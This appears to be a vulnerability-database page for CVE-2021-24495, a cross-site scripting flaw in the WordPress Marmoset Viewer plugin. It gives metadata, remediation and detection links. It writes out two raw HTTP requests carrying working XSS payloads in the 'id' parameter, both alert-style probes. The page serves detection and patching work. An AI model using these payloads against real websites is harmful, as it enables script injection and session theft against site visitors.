🔙 목록으로 돌아가기

CVE-2021-24495: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting

TitleWordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
Authorjohnjhacking
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.32206
CVE IDCVE-2021-24495
CWE IDCWE-79
Tags cve2021 cve xss wpscan wp-plugin wordpress intrusive marmoset vuln

🔍 Vulnerability Description

WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the ‘id’ parameter before outputting back in the page.

🌐 HTTP Request

GET /wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%2738FHA0N1eC7Qs619tNxXictW2f1%27)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/38FHA0N1eC7Qs619tNxXictW2f1/);marmoset.embed(%27a HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24495.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24495.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A